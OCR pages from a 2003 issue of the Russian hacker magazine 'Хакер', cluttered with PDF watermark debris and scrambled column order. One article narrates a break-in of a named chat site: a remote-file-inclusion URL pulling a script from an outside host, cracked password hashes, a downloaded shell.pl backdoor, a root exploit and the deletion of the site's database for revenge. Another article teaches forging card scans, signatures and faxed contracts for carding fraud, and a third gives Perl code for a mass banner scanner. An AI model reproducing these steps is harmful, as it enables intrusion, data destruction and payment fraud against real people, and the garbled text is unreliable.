книги хакеры / журнал хакер / 055_Optimized

hang

e

hang

e

C

E

C

E

X

X

-

d

-

d

F

i

F

i

t

t

P

D

o

D

049>

o

r

r

BUY

NOW!

BUY

NOW!

to

to

w

m

w

m

w Click

o

w Click

o

w

w

.

.c

.

.c

p

df

e

p

df

e

g

g

n

n

-xcha

The Ripper. Как назло, Джоник не был заинсталлен

-x cha

ни на одном шелле. Поэтому, выбрав самый кру-

той комп из имеющегося ассортимента, хакер за-

нялся процессом установки брутфорсера: распа-

ковка архива john.tgz и make в папке /src. Пока

компилился John, у нашего злодея появилась дру-

гая задача - поиск словаря. Согласись, что вероят-

ность подобрать пароль по словарю намного вы-

ше, чем при использовании комбинации из ран-

домных букв вперемешку с цифрами. Немного по-

потев над запросами для поисковиков, взломщик

нашел линк на самый большой архив - аж целых

75 метров (а вам слабо? ;)). Оставалось только за-

пустить John с параметром скачанного вордлиста,

а затем немного изменить приоритет процесса

(для более быстрого перебора):

# john -w:dictall.txt ./.htpasswd > passwd_ok

&

# renice -5 pid

где pid - процесс Джоника (будет виден после по-

сылки процесса в бэкграунд). Вторая команда

renice. Она и устанавливает приоритет процессу.

По умолчанию все процессы в Linux имеют нуле-

вой приоритет, а сам диапазон может быть от 20

до -20. Ускорять работу активного процесса можно

Удачное сканирование

Еще раз ознакомившись с файлами системы, ха-

до -5, при больших отклонениях в отрицательную

кер сделал для себя вывод, что дырок нет. В са-

сторону сервер может попросту зависнуть из-за

http://www.ostrovok.net/cgi-

мом свежем на тот момент дистрибутиве RedHat

нехватки процессорного времени.

отсутствовали уязвимости в sendmail или суид-

bin/gbook.php?file=http://lamer.narod.r

В итоге брутфорсер проработал около часа. Ха-

ных бинарниках, ибо эксплоиты для них в public-

u/hack.php?cmd=id

архивах еще не появились.

кер полез смотреть файл passwd_ok и обнаружил

там... словарный пароль Джека. В данном случае

Разумеется, хакеру был недоступен файл

ему просто повезло, т.к. процесс брутфорса мог

/etc/shadow с аккаунтами пользователей, но зло-

продолжаться бесконечно долго (в нашем случае

дей вспомнил про то, что есть вероятность со-

до окончания словаря). Содержимое лога было

держания паролей в файлах .htpasswd и им по-

следующим:

добных. Найти их не составило труда, для этого

Loaded 1 password with 1 different salts

Дырявая гостевая книга

существовала команда locate. Ее вывод показал,

что в системе существуют три таких файла.

(Standard DES [32/32 BS])

В итоге система отдалась хакеру без лишних

Presiden

(jack)

разговоров. Несмотря на то, что взломщик об-

ладал лишь nobody правами, у него был реаль-

ный шанс поиметь суперпользователя (в смыс-

ле не админа, а его права ;)).

Затем наш герой проделал стандартный алго-

ритм, а именно - скачал с того же фриварного

хостинга небольшой скрипт shell.pl, который

умел открывать порт и вешать на нем шелл.

Слить этот файл удаленно позволяла команда

Блестящая работа Джона

wget с ключиком -O /tmp/shell.pl. Он залил бэк-

Но так просто просмотреть их не удалось - пра-

Теперь следовало скрестить пальцы на удачу и

дор в папку /tmp (в эту папку может писать кто

ва на файлы еще никто не отменял. Лишь один

угодно, даже nobody). Командой perl

из трех .htpasswd оказался читабельным. Он со-

ожидать, что системный пароль окажется таким

/tmp/shell.pl запустил этот самый скрипт, после

держал две заветных строки:

же. На счастье хакера так и случилось - он сумел

чего можно было юзать интерактивный

войти в систему под обычным юзером, что давало

/bin/bash. Теперь появилась возможность нор-

jack:BY49lTPzWOqyI

ему возможность удержаться в системе. И все

мально компилять самые разные эксплоиты.

admin:420QKN4ibDYTC

благодаря помощи Джона

manager:4W8Tvjwqdb63S

(ftp://ftp.openwall.com/pub/projects/john/john-

Вторжение и поиск

1.6.tar.gz).

Хакеру предстояла самая неблагодарная работа -

Дело оставалось за малым. Взломщик почекал

Цифровая месть

файл /etc/passwd на наличие трех пользовате-

поиск дыры в системе с целью ее захвата (уже с

лей. Проверка показала, что в системе сущест-

После скитаний по директориям уже под видом

правами root). Как назло, ядро было стабильным

вует только юзер jack, а, следовательно, есть ве-

(2.4.20), и с виду никаких локальных уязвимостей

роятность совпадения системного пароля с акка-

обычного юзера, хакер так и не смог подчинить

не наблюдалось. Но шестое чувство нашего героя

унтом, взятым из .htpasswd.

себе систему и, в конце концов, забил на нее.

подсказывало, что баги должны быть.

И вот наступает 18 марта - день выхода ptrace-

В первую очередь хакер пролистал конфиг httpd и

Травим Джоника

эксплоита для всех крепких ядрышек Linux. Ра-

обнаружил, что помимо www.ostrovok.net на

достный хакер думает, что теперь система в его

сервере хостятся сайты с "вкусными" названиями,

Для расшифровки DES паролей хакер решил вос-

руках, и рвется к консоли. Но тут его под-

а именно www.phphost.ru и www.multilinux.info.

жидает облом - админ зафаерволил все

пользоваться всем известным брутфорсером John

5 Взлом

6 Юниксоид 7 Кодинг

8 Юниты

9 Quit>

49

hang

e

C

E

X

-

d

F

t

P

i

D

<Page 050>

r

NOW!

o

BUY

to

w Click

m

Взлом

w

w

o

.

.c

p

g

df

n

e

-xcha

ХАКЕР\¹55\Июль\2003

Защита от рассмотренных ошибок

				hang		e
			C				E
		X
	-							d
	F								t
	D								i
									r
P						NOW!			o
					BUY
				to
w Click										m
w
	w								o
	.							.c
		p					g
			df			n		e
				-x cha

СМЕРТЬ WEB-ЧАТАМ

Master-lame-master

Эксплоитим ядро

входящие коннекты с подсети взломщика. Немного огорчившись, он лезет на шелл уже с другого хоста и обнаруживает, что пароль на юзера jack был изменен. Вот она - реальность, когда все проникновения в систему оказываются напрасными.

В итоге все шаги были повторены (скрипт-то админы не додумались убрать). Хакер получил те же права, но теперь он еще и успешно воспользовался эксплоитом ptrace-kmod-exploit. Затем взломщик просмотрел записи iptables и действительно убедился, что админ защитился фаерволом. Было решено наказать его путем нарушения работы web-чата на островке. Откопав скрипт, который коннектится к базе островка, наш сетевой маньяк подключился к mySQL (логин и пароль для соединения находились в скрипте). Через пару минут базы данных уже не существовало, а бэкапы админ не любил...

Обычная ситуация, не так ли? В довершение всего хакер решил передать привет своим знакомым, оставив послание по адресу http://www.phphost.ru/hi.html (возможно, ссылка сохранилась - проверь и убедись сам). Кстати, через пару дней на www.ostrovok.net появилась надпись - "CHAT IS UNDER RECONSTRUCTION until 17 June 2003", которая, вероятно, висит и по сей день, что является несомненным доказательством отсутствия бэкапов.

Итоги?

В заключение хочу обратиться к админам крупных серверов: если пытаетесь защитить доверенную машину от взломщиков, то делайте это

Безопасность превыше всего

Во-первых, отключи register_globals. Этим ты обезопасишь себя от некорректных GET запросов, приводящим к неправильной работе скриптов.

Во-вторых, укажи значение опции user_dir, которое равно директории /cgi-bin. В этом случае взломщику не удастся запрашивать файлы, вроде /etc/passwd.

И, наконец, отключи опцию allow_url_fopen, которая позволяет открывать ссылки как файлы. Этим ты обезопасишь себя от удаленного выполнения команд на твоем серваке.

до конца. Всегда ищите дырку, через которую хакер изначально проник в систему. В нашем примере скрипт gbook.php не был пропатчен, что дало возможность взломщику повторно захакать сервак. Если бы админ пропарсил логи апача и нашел дырявый скрипт, все бы закон- чилось не так грустно. Так что читайте логи. Они - ваша манна небесная :).

Основные принципы начинающего хакера

Что же помогло хакеру в его нелегком деле?

1.Взломщик отдает предпочтение удобному софту и воздерживается от понтов в использовании тулз под *nix с менее гибкими возможностями.

2.Используя любимые баги скрипткидисов, хакер, как правило, доводит дело до конца, полностью подчиняя себе систему.

3.Порой действия хакера предсказать трудно. Если его разозлить, то он может без колебаний уничтожить систему - такие уж они нервные ;).

		1		2		3		4
50	Ньюсы		Феррум		Inside		PC_Zone		Implant

				hang		e
			C				E
		X
	-							d
	F								t
	D								i
									r
P						NOW!			o
					BUY
				to
w Click										m
w
	w								o
	.							.c
		p					g
			df			n		e
				-xcha

				hang		e
			C				E
		X
	-							d
	F								t
	D								i
									r
P						NOW!			o
					BUY
				to
w Click										m
w
	w								o
	.							.c
		p					g
			df			n		e
				-x cha

hang

e

hang

e

C

E

C

E

X

X

-

d

-

d

F

i

F

i

t

ХАКЕР\¹55\Июль\2003

t

P

D

o

P

D

o

r

r

<Page 052>

NOW!

BUY

NOW!

BUY

to

Взлом

to

w

m

w

m

w Click

o

w Click

o

w

w

.

.c

.

.c

p

df

e

p

df

e

g

g

n

n

-xcha

-x cha

КАРДИНГ ПОД ДРУГИМ УГЛОМ

voy ([e-mail]) www.voy.org

3347

8975

0897

5612

3425

7475

8935

0904

3347

8975

0897

5612

3425

7475

8935

0904

3347

8975

0897

5612

ВЗГЛЯД

НОВЫЙ

0904

8935

30

7475

4327

4568

3786

58578

90

3425

4327

4568

3786

58578

Как говорил Остап Бендер, существуют сот-

Конечно, такое развитие событий не устраивает

сительное нововведение - просьба указать cvv2-

ни способов относительно честного отъема

обладателей кредитных карт и владельцев он-

код, генерируемый настолько заумным методом

денег у населения. Но с течением времени

лайн-магазинов. И во всем мире постоянно при-

на основе скрытых ключей, что подсчитать его, не

их число увеличивается, что чаще всего свя-

думывают всякие изощренные способы определе-

имея этих ключей, невозможно.

зано с появлением в нашей жизни техничес-

ния фрауда (fraud - [сленг] незаконное использо-

Но какими бы ни были способы проверки, если

ких новинок. И в один замечательный день,

вание чего-либо) сразу на этапе его совершения.

некто обладает (зачастую незаконным путем) пол-

когда в инете начали появляться онлайн-ма-

Много лет назад это была тупая проверка послед-

ной информацией о кредитной карте, то все эти

газины, кардинг, вяло существовавший до

ней контрольной цифры в номере карты, позже к

мудреные защиты обходятся быстро и без лиш-

этого в виде подделки реальных кредитных

ней добавилась действительная проверка кредит-

него шума. Лишь бы информация о карте была

карт, приобрел новое поле деятельности.

ки, а также указанных адресов при покупке. Отно-

правильной.

52 Ньюсы

1 Феррум

2 Inside

3 PC_Zone

4 Implant

hang

e

hang

e

C

E

C

E

X

X

-

d

-

d

F

t

F

t

D

i

D

i

r

r

P

NOW!

o

P

NOW!

o

BUY

BUY

to

to

w Click

m

w Click

m

w

w

w

o

w

o

.

df-xchan

.c

картинок с www.carderplanet.com, которая спустя

.

df-x chan

.c

p

p

g

g

e

e

Но не все коту масленица. Я думаю, многим из

некоторое время оттуда пропала. Хотя это не

тех, кто пытался вышеописанным способом при-

единственное место, где можно найти подобную

обрести в интернете различный электронный

информацию. Фотографии кредиток с большим

стаф, знаком такой замечательный облом, как

успехом выковыриваются с официальных сайтов

настойчивое требование отсканировать какой-ни-

банков, а также их можно искать и через обыкно-

будь документ, удостоверяющий чью-то неизве-

венные поисковики картинок по словам "credit

стную, но безмерно щедрую личность, и отослать

card", "visa", "mastercard" è ò.ï.

это по емейлу или, в крайнем случае, факсом.

Конечно, для рисования можно было использо-

Почти во всех случаях на подобный магазинчик

вать что угодно, хоть paint, но ps - удобнее и при-

вешается ярлык "uncardable", что сильно радует

вычнее всего. В любом случае, в каком бы редак-

владельцев этого заведения. В общем, ситуация

торе ни осуществлялся описанный процесс, навы-

вырисовывается такая, что впору вешаться - во

ки работы с графикой просто необходимы...

всех сладеньких местечках (shell-провайдеры, isp,

В идеальном случае кардеру пришлось бы делать

мерчанты) хозяева магазинов начали переходить

только лицевую сторону, но хозяева потребовали

именно на такую практику.

сразу все, что увеличило объем работы.

Но тем не менее такое положение дел не смутила

Запустив фотошоп, он сначала аккуратненько с

некую темную личность (в дальнейшем именуе-

помощью кисточки или печати заретушировал все

мую кардером). Сразу отмечу, что все его даль-

не понравившиеся ему части карты, т.е. имя вла-

нейшие действия являются незаконными, и не

дельца и номерок. В принципе, кисть можно даже

стоит их повторять, так что информация дается

не использовать, она пригодится только для юве-

только для размышления. Так вот, кардер решил

лирной коррекции деталей. В результате получи-

во что бы то ни стало приобрести себе кое-какое

лась девственно чистая кредитная карта.

онлайн-барахло. Прикинув, что от него могут пот-

ребовать при регистрации, он составил неболь-

шой список:

1) Одна или обе стороны кредитной карты.

2) Бумажка, которую необходимо распечатать,

подписать и отослать по факсу.

3) Водительские права.

4) Паспорт.

5) Телефонный звонок.

6) Распечатка из банка о креде, где ясно виден

адрес (да-да, бывает и такое).

Отбросив два последних пункта из-за их малой

Карточка до и после очитки

распространенности и чрезмерной сложности,

Следующая проблема, которая встала перед кар-

кардер решил прибегнуть к тому, чем он не раз

дером - это поиск подходящего шрифта для на-

уже занимался – к мошенничеству, а именно к

писания на полученном шаблоне требуемой ин-

подделке документов. Сложностей при осущес-

формации. Понятное дело, что всякие там стан-

твлении задуманного не должно было возникнуть

дартные arial'ы и tnr'ы не подойдут - слишком уж

по той причине, что все подделываемые докумен-

специфичная цель. Абсолютно идентичный шрифт

ты на протяжении всего процесса будут оставать-

найти так и не удалось, даже два сидюка с ttf

ся исключительно в электронном виде. (Мошен-

шрифтами, загодя приобретенные у пиратов, не

ничество в любом виде - это уголовно наказуемое

помогли, но из полученной подборочки больше

преступление!)

всего порадовал Bank Gothic Medium. Дальше на-

чался полет фантазии: слои, эффекты, фильтры...

ТРОЙКА, СЕМЕРКА, ТУЗ

В результате многочасовых мучений был получен

Кардеру для осуществления своих пакостей тре-

результат, который хоть и не был копией реаль-

ной карты, но если не присматриваться к мелким

бовалось отослать продавцу отсканенную с обеих

нюансам, выглядел вполне реалистично. Схожес-

сторон кредитную карту и подписанный договор о

ти прибавил фильтр mosaic с маленьким коэффи-

предоставлении услуг. Сама сделка должна быть

циентом, наложенный на добавленную писанину,

на среднюю сумму – не большую, но и не ма-

ну а после солидного упаковывания полученного

ленькую. Кредитку было предложено отослать по

творения в jpeg, мало кто смог бы отличить под-

электронной почте, а договор - исключительно по

делку от настоящей карты.

факсу на далекий американский номер. Задумка

продавца заключалась в том, чтобы максимально

ОЧЕРЕДЬ ЗА АВТОГРАФАМИ

усложнить использование ворованной кредитной

карты, при этом не утруждая себя: всего лишь

Следующий этап - создание подписи, которая

глянуть на номер карты, фамилию владельца и

пригодится сразу в двух местах - на задней части

сравнить подписи на договоре и карте.

карты и на сопутствующем документе. Сперва,

Для многих подобные преграды - большая поме-

основываясь на фамилии реального обладателя

ха, но не для нашего кардера. Его скромных зна-

карты, кардер изрисовал целый лист бумаги в по-

ний фотошопа вполне хватало для создания тре-

пытках придумать подпись, которая была бы мак-

буемых документов. Для начала ему надо было

симально похожа на настоящую, а потом из полу-

найти шаблон - карту, на изображение которой он

ченной кучи вариантов выбрал самый подходя-

будет опираться при рисовании. Для этого не

ùèé.

обязательно стоять с топором у банкомата -

Затем он снова обратился к фотошопу, в котором

простого отсканированного изображения вполне

при помощи freetype pen был нарисован

достаточно. Будучи человеком удачливым, он ког-

путь (path), отдаленно напоминающий кра-

да-то успел урвать неплохую подборку подобных

козябу, нарисованную на бумаге. Путь был

5 Взлом

6 Юниксоид 7 Кодинг

8

hang

e

hang

e

C

E

C

E

X

X

-

d

-

d

F

i

F

i

t

ХАКЕР\¹55\Июль\2003

t

P

D

o

P

D

o

r

r

<Page 054>

NOW!

BUY

NOW!

BUY

to

Взлом

to

w

m

w

m

w Click

o

w Click

o

w

w

.

.c

.

.c

p

df

e

p

df

e

g

g

n

n

-xcha

-x cha

КАРДИНГ ПОД ДРУГИМ УГЛОМ

voy ([e-mail])

Очищенная и законченная карточки

отредактирован до приличного закругленного сос-

придать реалистичности - наложение фильтров

Зная о посредственном качестве подделанной

тояния, в результате чего он стал похож на чей-то

Gaussian Blur и Mosaic. А последующее запихива-

подписи, злодей заблаговременно выставил в па-

неразборчивый автограф. После этого осталось

ние в jpeg, как обычно, убило все мелкие детали,

раметрах низкое качество передачи, так что по-

только обвести путь (stroke path), и подпись была

мозолившие глаза.

дозрений не должно было возникнуть.

готова для последующего использования.

Результат не заставил себя ждать, ближе к сере-

Когда автограф был закончен, осталась неболь-

РУЛОН БУМАЖКИ

дине следующего дня на просторах интернета

шая заключительная часть: прилепить его в то

Самые сложные этапы позади, осталось лишь за-

ожил маленький выделенный сервер. Зачем он

место документа, где он по задумке должен сто-

нужен? Это уже дело вкуса: может, для развлече-

ять. В случае кардера его понадобилось помес-

сунуть подпись в уже присланный на мыло вордо-

ний со стомегабитным каналом, а может, и для

тить на заднюю часть карты.

вский документ. Тут сложностей не возникло.

продажи шеллов.

Предварительно сохраненная отдельная подпись

Конечно, сумма оплаты подобного рода услуг не

была импортирована в ворд, на нее был постав-

так уж мала, поэтому маловероятно, что сервер

лен атрибут "сквозное обтекание", в результате

простоит больше двух-трех месяцев. Ведь хозяин

чего стало возможным перемещать картинку по

кредитной карты, как правило, быстро замечает

всему документу, оставляя прежнее форматиро-

утечку денег в размере 100 условных президентов

вание текста без изменений.

в месяц. Как результат - чарджбэк, требование

БЕСПЛАТНАЯ РАССЫЛКА

приостановить оказание услуг и возврат денег.

Корявый автограф владельца карты

НАША СЛУЖБА И ОПАСНА, И ТРУДНА...

Но тут возникла небольшая сложность - карта-то

Все документы готовы, остался последний штрих

рельефная, и на ней теперь остались выпуклости,

- отправить все это продавцу. С мылом у злоу-

Да, все, что было описано в этой статье - неза-

не соответствующие передней части карты. Кар-

мышленника все в порядке - зарегистрирован ле-

конно, и какие бы документы ни были подделаны,

деру пришлось помучиться с исправлением и

вый почтовый ящик, причем весь процесс регист-

преступление, как ни крути, все равно было со-

подгонкой обеих сторон. Конечно, можно было бы

рации проходил через прокси. Таким образом, он

вершено. Но нарваться на неприятности наш зло-

аккуратно заретушировать все ненужные надписи

спрятал концы в воду. Через этот ящик и были

дей не рисковал, и вот почему. Владельцу карты,

и подправить там, где надо, но такой путь - че-

отправлены все нарисованные сканы. А вот с

от лица которого действовал злоумышленник, нет

ресчур трудоемкий, и мошенник решил просто

"подписанным" документом мороки было поболь-

до него никакого дела. Да и действительно, за-

перерисовать заднюю часть карты целиком, оста-

ше. Если не заботиться о своей безопасности,

чем? Деньги хозяину вернули, наверняка еще и

вив неизменными только те фрагменты, которые

можно распечатать подделанный документ и

посочувствовали по поводу разгулявшейся прес-

не будут задеты при исправлении и на которые

отослать его с какого-нибудь почтамта или по-

тупности. Но главное то, что найти виновника

никакие надписи не накладывались. Это были

добного госучреждения. Но для этого придется

очень трудно - он прятался за проксиками, писал

значок visa и какая-то маленькая рекламка. Все

выходить из дома, переться непонятно куда, что-

с левых адресов. Да и если ip-адрес мошенника

остальные элементы были удалены кисточкой и,

бы потом еще поиметь возможность схлопотать

попадет в руки хозяина, тот просто не захочет тя-

после длительного подбора шрифтов, цветов и

по одному месту от милиции. Кардер решил по-

гаться с Интерполом, так как преступник-то нахо-

эффектов, перерисованы заново. Вот тут уже

искать возможность отправки факсов через ин-

дится в другой стране.

пригодились те самые сидюки, так как на одном

тернет. И спустя буквально 10 минут была найде-

Подобные случаи при покупке виртуальных благ -

из них случайно оказался шрифт, на 100% соот-

на контора www.maxemail.com, предоставляющая

единичны. Но если покупаются физические вещи,

ветствующий необходимому. После перенабора

подобного рода услуги. Но за это, как всегда,

то схема действий вырисовывается абсолютно

всех надписей на горизонте замаячила очередная

потребовали денежку - хоть и небольшую, но все-

другая, причем вероятность быть пойманным су-

проблема - создание вогнутостей карты, макси-

таки зеленую. Порывшись в своих закромах, кар-

щественно увеличивается.

мально соответствующих передней части (т.е. но-

дер достал подходящую карту и нажал на кнопоч-

мер, дата и фамилия должны стоять на своих

ку Sign Up! В процессе регистрации выяснилось,

Кардинг виртуальных услуг - вещь относительно

местах). Смысла заново это набивать на клавиа-

что есть возможность, ничего не заплатив (прав-

безопасная, но рано или поздно кто-то размочит

туре не было, поэтому нужные слои были просто

да, введя правильный номер кредитки), отпра-

счет между милицией и кардерами ценой

перекинуты назад, зеркально отображены freefor-

вить целых три факса на любой номер любой

собственной свободы. Так что стоит задуматься, а

m'ом, и путем долгого издевательства над blend-

страны. Халява...

нужен ли этот гимор?

ing options свежесозданного слоя был получен

После регистрации требуемый документ был отп-

нужный эффект.

равлен, и через три минуты кардеру пришло

Опять же, в самом конце кредитке требовалось

подтверждение об успешной доставке факса.

54 Ньюсы

1 Феррум

2 Inside

3 PC_Zone

4 Implant

				hang		e
			C				E
		X
	-							d
	F								t
	D								i
									r
P						NOW!			o
					BUY
				to
w Click										m
w
	w								o
	.							.c
		p					g
			df			n		e
				-xcha

				hang		e
			C				E
		X
	-							d
	F								t
	D								i
									r
P						NOW!			o
					BUY
				to
w Click										m
w
	w								o
	.							.c
		p					g
			df			n		e
				-x cha

hang

e

C

E

X

-

d

F

t

P

i

D

<Page 056>

r

NOW!

o

BUY

to

w Click

m

Взлом

w

w

o

.

.c

p

g

df

n

e

-xcha

МАСШТАБНОЕ СКАНИРОВАНИЕ ЗА ДВЕ МИНУТЫ!

Дмитрий

ХАКЕР\¹55\Июль\2003

				hang		e
			C				E
		X
	-							d
	F								t
	D								i
									r
P						NOW!			o
					BUY
				to
w Click										m
w
	w								o
	.							.c
		p					g
			df			n		e
				-x cha

ПИШЕМ СКАНЕР ДЫРЯВЫХ СЕРВИСОВ

"Зачем мне еще один сканер? Мой виндовый Languard еще ни разу меня не подводил!" - возмутишься ты, прочитав заголовок статьи. Молодой человек! А в курсе ли вы, что сканирование портов является противозаконным действием и всегда оговаривается в регламенте вашего провайдера? Так что, если ты попробуешь сканить со своей тачки и будешь замечен в прощупывании удаленных портов, твой пров может без всяких предупреждения отключить тебя от инета...

		Ведение логов еще никто не отменял, поэтому			ант отпадает, так как "умных" сканеров довольно		Алгоритм создания адресов был выполнен толь-
		твой ip'шник обязательно запишется на проска-			мало, а для stealth-прощупывания портов необхо-		ко с помощью циклов. Внешние модули искать
		ненном сервере. Чтобы этого не случилось, необ-		димы права рута. За их отсутствием мы ограни-			ломало, а другие способы в голову почему-то
		ходимо либо воспользоваться stealth-сканером,			чимся скромным юзерским шелл-аккаунтом на		не приходили ;). Тем не менее, процедура ра-
		либо скрыть свой реальный адрес. Первый вари-		забугорном сервере. Именно там мы будем испы-			ботает исправно и весьма быстро.
					тывать сканер нового поколения - bannerscan.pl.		Изначально мы имеем пять переменных:
					Идея заключается в следующем: создается про-
					цедура генерации всех ip-адресов, которые не-		$netmask - содержит в себе шаблон маски.
					обходимо просканить. Затем создается сокет с		$n1, $n2, $n3, $n4 - та же маска, разделенная на
					ip-адресом и производится попытка чтения бан-		четыре части (разделитель точка).
					нера сервиса. В случае удачи этот баннер срав-
					нивается с изначально заданным шаблоном и за-		Имея эти данные, напишем простую процедуру
					писывается в лог-файл. Если база ip-адресов		генерации адресов.
					кончается, то завершается и работа самого ска-
					нера. Вот, собственно, и весь алгоритм.		Как видно, процедура довольно большая. Она поз-
							воляет создавать огромные базы ip-адресов (вроде
					Все очень просто. Но так кажется только на пер-		таких - XXX.*.*.*). Это нам только на руку, так как
					вый взгляд. На самом деле этот сканер стоил		изначальная моя задумка сводилась к написанию
				мне массы потраченного времени и пары-тройки			сканера для обработки больших подсетей.
					убитых серверов. Но обо всем по порядку.
								СОЗДАНИЕ СОКЕТОВ - ПРОЩЕ НЕ БЫВАЕТ
					ГЕНЕРИРУЕМ АДРЕСНУЮ БАЗУ		Я полагаю, ты уже умеешь создавать соединение,
					Как ты уже понял, кодить мы будем на Perl, ибо
							а также считывать с него данные (на эту тему бы-
					этот язык отличается своей гибкостью и уни-		ло написано множество статей в Х). В противном
					версальностью. Первая наша задача - создание		случае - читай старые номера Хакера.
					массива ip-адресов, которые должны быть		Как сказано выше, наша задача - прочитать бан-
					просканированы. Шаблон подсети задается		нер сервиса и сравнить его с шаблоном. Бинар-
					маской XXX.XXX.XXX.XXX, где последние три ок-		ных данных у нас не наблюдается, поэтому при
					тета могут быть заменены символом "*", что		работе будем использовать простой оператор
				означает определение всех возможных адресов.			"<>" для чтения сокета.
		Создание сканера. Взгляд изнутри

		1		2		3		4
56	Ньюсы		Феррум		Inside		PC_Zone		Implant

hang

e

hang

e

C

E

C

E

X

X

-

d

-

d

F

i

F

i

t

t

P

D

o

P

D

o

NOW!

r

NOW!

r

BUY

BUY

to

to

w

m

w

m

w Click

o

w Click

o

w

w

.

.c

.

.c

p

df

e

p

df

e

g

g

n

n

-xcha

-x cha

Процедура генерации базы адресов

sub check {

for ($i=0;$i<=254;$i++) { ## Открываем внешний цикл от 0 до 254

$ipi = $i; ## Устанавливаем второй октет ip-адреса = счетчику

if ($n2 ne '*')

{ $i = 254,$ipi = $n2 } ## Если второй октет не равен звездочке - создаем условие для

завершения цикла и оставляем часть адресабез изменений

for ($j=0;$j<=254;$j++) { ## Открываем внутренний цикл от 0 до 254

$ipj = $j; ## Устанавливаем третий октет ip-адреса = второму счетчику

if ($n3 ne '*')

{ $j = 254,$ipj = $n3 } ## Тот же случай. При постоянной

части - выходим из цикла

for ($k=1;$k<=254;$k++) {

$ipk = $k;

if ($n4 ne '*') { $k = 254,$ipi = $n2 } ## Повторяем все для последней части

my($ipaddr) = "$n1\.$ipi\.$ipj\.$ipk"; ## Формируем полноценный ip-

адрес

chomp($ipaddr);

push(@ipz, $ipaddr); ## И заносим его в массив-базу

}

}

}

}

Тонкая работа с сокетами

while (<$socket>) { ## в $socket хранится идентификатор уникального соединения

chomp(); ## Обрезаем конец строки

$yes=$_ if ($_ =~/$routine/); ## В $routine - шаблон для проверки

баннера. Если баннер удовлетворяет шаблону - устанавливаем значение переменной

$yes равное приветствию

close ($socket); ## И закрываем сокет, чтобы корректно выйти из цикла

}

}

$yes=0 if ($yes=~/INET\=GLOB/); ## Игнорируем пустой указатель

return $yes; ## Возвращаем значение процедуры

exit unless ($socket); ## Выходим из процедуры, если создание сокета было неудачным

Перед тобой не что иное, как фрагмент процеду-

учитывать, что сам перл появился гораздо позже).

ры connectIP. На первый взгляд он содержит в се-

бе несколько непонятных вещей. В них ты разбе-

Использовать функцию fork() будем у себя в цик-

решься по ходу дальнейшего описания сканера.

ле. Новые процессы будут порождаться до тех

Термин "Пустой указатель" означает поинтер на не-

пор, пока в массиве есть элементы ip-адресов. И

ошибки тут недопустимы вообще. Порождение

существующую строку. Он имеет формат

потомков в цикле аналогично ядерной реакции -

INET=GLOB(ADDR) и формируется в том случае,

если вовремя не убить процессы, то произойдет

если удаленный сервер не захотел показывать бан-

переполнение таблицы процессов, огромная

нер (фильтрация фаерволом, неправильная работа

утечка памяти, и, в конце концов, сервер накро-

сервиса и т.п.). Чтобы не засорять логи ненужными

ется медным тазом :). У меня, например, при на-

данными - просто исключим этот указатель.

писании сканера пострадало два сервера (и все

из-за неправильного завершения процессов), по-

УСКОРЯЕМСЯ ПО ПОЛНОЙ ПРОГРАММЕ

этому мой тебе совет на будущее - тестируй все

многопроцессные проекты на локальной машине,

Как ты понимаешь, последовательная обработка

иначе потом получишь по башке от админов.

Начнем с главного - с порождения нового про-

нескольких тысяч ip-адресов займет у тебя до фи-

цесса. Эту процедуру принято выполнять в усло-

га времени. В голову лезет резонный вопрос - ну и

вии, чтобы разграничить действия родителя и

зачем мне тогда такой медленный сканер? Спо-

потомка. Для нас важно запомнить PID (Process

койно! На помощь придут широкие возможности

ID) в родителе и выполнить процедуру создания

Perl, а именно создание новых процессов. Если ты

сокета в потомке. Эту операцию нужно совер-

не в курсе, Perl позволяет создавать несколько па-

шить N раз (число N задается в начальных пара-

раллельных процессов, которые будут выполнять

метрах сканера). Затем идет перезаполнение

схожие задачи. Функция порождения нового про-

массива ip-адресов (количество элементов кото-

цесса имеет название fork(), что переводится как

рого равно N) и все повторяется заново. Таким

"вилка". Если ты знаком с си, то знаешь, что функ-

образом, мы получаем ряд независимых процес-

ция "форк" присутствует и там (кто у кого содрал

сов, протекающих почти одновременно, тем са-

название - остается тайной и по сей день, если

мым ускоряя работу сканера в N раз.

5 Взлом

6 Юниксоид 7 Кодинг

8

hang

e

hang

e

C

E

C

E

X

X

-

d

-

d

F

i

F

i

t

ХАКЕР\¹55\Июль\2003

t

P

D

o

P

D

o

r

r

<Page 058>

NOW!

BUY

NOW!

BUY

to

Взлом

to

w

m

w

m

w Click

o

w Click

o

w

w

.

.c

.

.c

p

df

e

p

df

e

g

g

n

n

-xcha

-x cha

МАСШТАБНОЕ СКАНИРОВАНИЕ ЗА ДВЕ МИНУТЫ!

Дмитрий Докучаев aka Forb ([e-mail])

Аналогичные

сканеры

Что удивительно, в

инете очень мало по-

добных проектов.

Аккуратное порождение подпроцессов

Вспоминается лишь

известный grabbb, на-

while(1) { ## Заводим бесконечный цикл

писанный командой

TESO. Он позволяет

@ips=@ipz[$once..$once+$pids]; ## Перезаполняем массив @ips, делая его равным

снимать баннеры с оп-

определенному срезу массива ip-адресов (количество элементов = $pids)

ределенных сервисов

for ($i=0; $i<=$pids; $i++) { ## Создаем цикл for для каждого подпроцесса

и логировать их. Прав-

unless($ips[$i]) { ## Если элемента не существует, то сканирование должно быть завершено

да, возможность срав-

killpidz(); ## Переходим к убийству ВСЕХ порожденных ранее процессов

нения с шаблонной

}

exit print "Scan is complete\n"; ## И лишь затем корректно выходим из программы

фразой там отсутству-

ет. В основном такие

if ($pid=fork()) { ## Создаем новый процесс

тулзы пишутся для

push(@forked, $pid); ## В теле родителя заполняем массив идентификаторов

конкретных сервисов -

} else {

обнаружение ошибки в

$res=connectIP($ips[$i]);

## В теле потомка создаем сокет

OpenSSL èëè FTPD.

logg($ips[$i],$res) if ($res ne 0); ## Логируем результат, если возврат отличен от нуля

Универсальных кон-

}

exit; ## Завершаем потомок! (очень важно)

сольных сканеров

}

действительно мало.

$once+=$pids; ## Увеличиваем начальное значение элементов на $pids раз

killpidz(); ## Убиваем все потомки, чтобы не допустить переполнения

}

ния пробела. Символ пробела нужно заменять

символом "~". Фраза передается через опцию -r.

Этот важный фрагмент кода показывает гибкую

ным образом, будут убиты exit'ом в конце главно-

По умолчанию шаблон: ssh.

работу Perl с процессами. Что мы имеем? Во-

го модуля, либо exit'ом при неудачном соедине-

первых, массив @forked, который содержит иден-

нии (в процедуре connectIP). Всех остальных ждет

БЕТА-ТЕСТИРОВАНИЕ

тификаторы порожденных процессов. Во-вторых,

виселица от системного kill(), заботливо предос-

$pids независимых процессов, выполняющих свое

тавленного процедурой killpidz().

Настало время проверить наш сканер в действии

